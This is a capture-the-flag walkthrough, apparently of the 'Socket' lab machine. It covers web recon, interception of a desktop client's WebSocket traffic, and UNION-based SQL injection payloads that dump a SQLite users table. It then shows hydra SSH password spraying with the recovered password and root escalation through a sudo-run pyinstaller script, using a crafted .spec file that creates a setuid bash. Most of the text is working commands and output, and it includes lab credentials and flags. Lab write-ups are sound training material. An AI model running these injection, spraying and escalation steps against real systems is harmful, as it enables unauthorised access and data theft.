Socket
Recon
HTTP (80)
Application allows encoding and decoding QR codes.

We can also make report
, but nothing on XSS.

└─$ feroxbuster -u 'http://qreader.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt -E -B -g -x png -I js,css
200 GET 134l 233w 2155c http://qreader.htb/static/css/footer.css
200 GET 197l 302w 4161c http://qreader.htb/report
405 GET 5l 20w 153c http://qreader.htb/reader
405 GET 5l 20w 153c http://qreader.htb/embed
200 GET 44l 5870w 258895c http://qreader.htb/static/css/mdb.min.css
200 GET 7l 1966w 155758c http://qreader.htb/static/css/bootstrap.min.css
200 GET 0l 0w 89608499c http://qreader.htb/download/windows
200 GET 0l 0w 107679534c http://qreader.htb/download/linux
200 GET 228l 638w 6992c http://qreader.htb/
403 GET 9l 28w 276c http://qreader.htb/server-status
[####################] - 25s 5032/5032 0s found:74 errors:19
[####################] - 24s 4904/4904 203/s http://qreader.htb/
We can also download the application for Linux or Windows
└─$ curl http://qreader.htb/download/linux -O
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 102M 100 102M 0 0 2217k 0 0:00:47 0:00:47 --:--:-- 3445k
└─$ file linux
linux: Zip archive data, at least v1.0 to extract, compression method=store
└─$ unzip linux
Archive: linux
creating: app/
inflating: app/qreader
inflating: app/test.png
Decoding test.png
gives kavigihan
:
└─$ curl http://qreader.htb/reader -F 'file=@test.png' -s | grep -A10 'Extracted text'
<h2>Extracted text</h2>
<p>kavigihan</p>
...
Nothing much so let's jump in the program itself.
The application does version check and updates, so it must be making requests somewhere. There's host ws://ws.qreader.htb:5789
and /version
, /update
endpoints.

└─$ curl -LOs https://downloads.mitmproxy.org/11.0.1/mitmproxy-11.0.1-linux-x86_64.tar.gz
└─$ tar -xvzf mitmproxy-11.0.1-linux-x86_64.tar.gz
└─$ rm mitmproxy-11.0.1-linux-x86_64.tar.gz
└─$ chmod +x mitm*
└─$ ./mitmproxy --listen-port 5789 --mode reverse:http://10.129.228.216:5789

Note: DNS is resolved to localhost so WE can catch them and inspect them.
mitmproxy
seemed like a valid choice, but it wasn't able to resend/edit WebSocket communication. Turns out Burpsuite supports this and even more!

SQLi in WebSockets

https://exploit-notes.hdks.org/exploit/web/websocket-pentesting/
└─$ curl -LOs https://github.com/vi/websocat/releases/download/v1.14.0/websocat.x86_64-unknown-linux-musl
└─$ chmod +x websocat.x86_64-unknown-linux-musl
└─$ sudo mv websocat.x86_64-unknown-linux-musl /usr/local/bin/websocat
---
# Terminal A
└─$ cat sqli.txt | tr -d "\n" | websocat ws://10.129.228.216:5789/version | jq -r .message.downloads
---
# Terminal B
└─$ nano sqli.txt

"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' -- -"
---
"downloads": "sqlite_sequence,versions,users,info,reports,answers"
>>>
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(name) FROM pragma_table_info('users') -- -"
---
"downloads": "id,username,password,role"
>>>
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(id||CHAR(58)||username||CHAR(58)||password||CHAR(58)||role||CHAR(10)) FROM users -- -"
"downloads": "1:admin:0c090c365fa0559b151a43e0fea39710:admin\n"

Creds:
admin:denjanjade122566
No pages on main website and SSH doesn't work.
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(id||CHAR(58)||key||CHAR(58)||value||CHAR(10)) FROM info -- -"
---
1:downloads:1000
,2:convertions:2289
>>>
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(id||CHAR(58)||reporter_name||CHAR(58)||subject||CHAR(58)||description||CHAR(58)||reported_date||CHAR(10)) FROM reports -- -"
---
1:Jason:Accept JPEG files:Is there a way to convert JPEG images with this tool? Or should I convert my JPEG to PNG and then use it?:13/08/2022
,2:Mike:Converting non-ascii text:When I try to embed non-ascii text, it always gives me an error. It would be nice if you could take a look at this.:22/09/2022
>>>
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(id || CHAR(58) || answered_by || CHAR(58) || answer || CHAR(58) || answered_date || CHAR(58) || status || CHAR(10)) FROM answers -- -"
---
1:admin:Hello Json,
As if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.
Thomas Keller:17/08/2022:PENDING
,2:admin:Hello Mike,
We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!
Thomas Keller:25/09/2022:PENDING
Pending status is to Thomas Keller
, which should be local user.
└─$ namebuster 'Thomas Keller' > usernames.txt
└─$ hydra -L usernames.txt -p denjanjade122566 10.129.228.216 ssh
...
[22][ssh] host: 10.129.228.216 login: tkeller password: denjanjade122566
...
SSH (22)
Creds:
tkeller:denjanjade122566
└─$ ssh tkeller@qreader.htb
tkeller@socket:~$ id
uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared)
User.txt
tkeller@socket:~$ cat user.txt
16bddb778e1fb9de2964dccd6909e5f3
Privilege Escalation
tkeller@socket:~$ find / -group shared 2>/dev/null
/opt/shared
tkeller@socket:~$ cd /opt/shared/
tkeller@socket:/opt/shared$ ls -alh
total 8.0K
drwxrwx--- 2 root shared 4.0K Feb 17 2023 .
drwxr-xr-x 3 root root 4.0K Nov 28 2022 ..
tkeller@socket:/opt/shared$ sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
tkeller@socket:/opt/shared$ ls -alh /usr/local/sbin/build-installer.sh
-rwxr-xr-x 1 root root 1.1K Feb 17 2023 /usr/local/sbin/build-installer.sh
tkeller@socket:/opt/shared$ cat /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
Priv esc is related to pyinstaller
, first to get idea what we are working with let's generate it:
tkeller@socket:/opt/shared$ cat t.py
import os
print('x')
tkeller@socket:/opt/shared$ sudo /usr/local/sbin/build-installer.sh make t.py
614 INFO: PyInstaller: 5.6.2
614 INFO: Python: 3.10.6
616 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
616 INFO: wrote /tmp/qreader.spec
622 INFO: UPX is not available.
624 INFO: Extending PYTHONPATH with paths
['/opt/shared']
1194 INFO: checking Analysis
1194 INFO: Building Analysis because Analysis-00.toc is non existent
1195 INFO: Initializing module dependency graph...
1198 INFO: Caching module graph hooks...
1209 WARNING: Several hooks defined for module 'numpy'. Please take care they do not conflict.
1217 INFO: Analyzing base_library.zip ...
2047 INFO: Loading module hook 'hook-heapq.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
2138 INFO: Loading module hook 'hook-encodings.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
3526 INFO: Loading module hook 'hook-pickle.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
5195 INFO: Caching module dependency graph...
5295 INFO: running Analysis Analysis-00.toc
5322 INFO: Analyzing /opt/shared/t.py
5323 INFO: Processing module hooks...
5333 INFO: Looking for ctypes DLLs
5336 INFO: Analyzing run-time hooks ...
5338 INFO: Including run-time hook '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py'
5342 INFO: Including run-time hook '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_subprocess.py'
5348 INFO: Looking for dynamic libraries
5822 INFO: Looking for eggs
5822 INFO: Python library not in binary dependencies. Doing additional searching...
5893 INFO: Using Python library /lib/x86_64-linux-gnu/libpython3.10.so.1.0
5895 INFO: Warnings written to /opt/shared/build/qreader/warn-qreader.txt
5908 INFO: Graph cross-reference written to /opt/shared/build/qreader/xref-qreader.html
5924 INFO: checking PYZ
5924 INFO: Building PYZ because PYZ-00.toc is non existent
5925 INFO: Building PYZ (ZlibArchive) /opt/shared/build/qreader/PYZ-00.pyz
6134 INFO: Building PYZ (ZlibArchive) /opt/shared/build/qreader/PYZ-00.pyz completed successfully.
6135 INFO: checking PKG
6136 INFO: Building PKG because PKG-00.toc is non existent
6136 INFO: Building PKG (CArchive) qreader.pkg
8804 INFO: Building PKG (CArchive) qreader.pkg completed successfully.
8805 INFO: Bootloader /root/.local/lib/python3.10/site-packages/PyInstaller/bootloader/Linux-64bit-intel/run
8805 INFO: checking EXE
8805 INFO: Building EXE because EXE-00.toc is non existent
8805 INFO: Building EXE from EXE-00.toc
8807 INFO: Copying bootloader EXE to /opt/shared/dist/qreader
8811 INFO: Appending PKG archive to custom ELF section in EXE
8845 INFO: Building EXE from EXE-00.toc completed successfully.
/usr/bin/mv: './dist' and '/opt/shared/dist' are the same file
/usr/bin/mv: './build' and '/opt/shared/build' are the same file
tkeller@socket:/opt/shared$ find
.
./build
./build/qreader
./build/qreader/warn-qreader.txt
./build/qreader/PYZ-00.toc
./build/qreader/localpycs
./build/qreader/localpycs/struct.pyc
./build/qreader/localpycs/pyimod01_archive.pyc
./build/qreader/localpycs/pyimod03_ctypes.pyc
./build/qreader/localpycs/pyimod02_importers.pyc
./build/qreader/PYZ-00.pyz
./build/qreader/xref-qreader.html
./build/qreader/base_library.zip
./build/qreader/PKG-00.toc
./build/qreader/Analysis-00.toc
./build/qreader/EXE-00.toc
./build/qreader/qreader.pkg
./dist
./dist/qreader
./t.py
tkeller@socket:/opt/shared$ cat /tmp/qreader.spec
# -*- mode: python ; coding: utf-8 -*-
block_cipher = None
a = Analysis(
['../opt/shared/t.py'],
pathex=[],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False,
)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
exe = EXE(
pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
[],
name='qreader',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
)
The pyinstaller is basically running python script with build
command in script.
tkeller@socket:/opt/shared$ echo 'print(1337)' > t.py
tkeller@socket:/opt/shared$ sudo /usr/local/sbin/build-installer.sh make t.py
tkeller@socket:/opt/shared$ cp /tmp/qreader.spec /tmp/t.spec
tkeller@socket:/opt/shared$ nano /tmp/t.spec
tkeller@socket:/opt/shared$ grep os /tmp/t.spec
import os
os.system('install -m4777 /bin/bash /tmp/rootbash')
tkeller@socket:/opt/shared$ sudo /usr/local/sbin/build-installer.sh build /tmp/t.spec
125 INFO: PyInstaller: 5.6.2
126 INFO: Python: 3.10.6
129 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
134 INFO: UPX is not available.
script '/opt/shared/t.py' not found
/usr/bin/mv: './dist' and '/opt/shared/dist' are the same file
/usr/bin/mv: './build' and '/opt/shared/build' are the same file
tkeller@socket:/opt/shared$ ls -alh /tmp/rootbash
-rwsrwxrwx 1 root root 1.4M Nov 29 10:21 /tmp/rootbash
tkeller@socket:/opt/shared$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(tkeller) gid=1001(tkeller) euid=0(root) groups=1001(tkeller),1002(shared)
Root.txt
rootbash-5.1# cat /root/root.txt
3f58c99162976d59d761336f90ea5d04
Last updated